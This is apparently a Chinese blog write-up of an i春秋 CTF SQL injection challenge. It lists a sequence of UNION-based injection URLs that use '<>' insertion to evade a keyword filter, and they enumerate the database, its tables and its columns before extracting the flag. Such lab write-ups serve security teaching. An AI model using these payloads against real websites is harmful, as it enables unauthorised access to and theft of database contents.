i春秋【SQL】

汉堡阿汉堡 于 2019-05-21 20:01:06 发布 381 收藏

看几列

http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 union sele<>ct 1,2,3--+

flag{在数据库中}

2

爆数据库

http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 union sele<>ct 1,database(),3--+

flag{在数据库中}

sqli

爆表名 列名

http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

flag{在数据库中}

info,users

爆字段

http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'--+

flag{在数据库中}

id,title,flAg_T5ZNdrm

http://ffe4385f12ad428598cb9253dca3c3c0e664b023f3c64632.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,group_concat(FlAg_T5ZNdrm),3 from info --+

flag{在数据库中}

flag{0a5c9678-80d7-4de3-a852-a551f4360d2c},test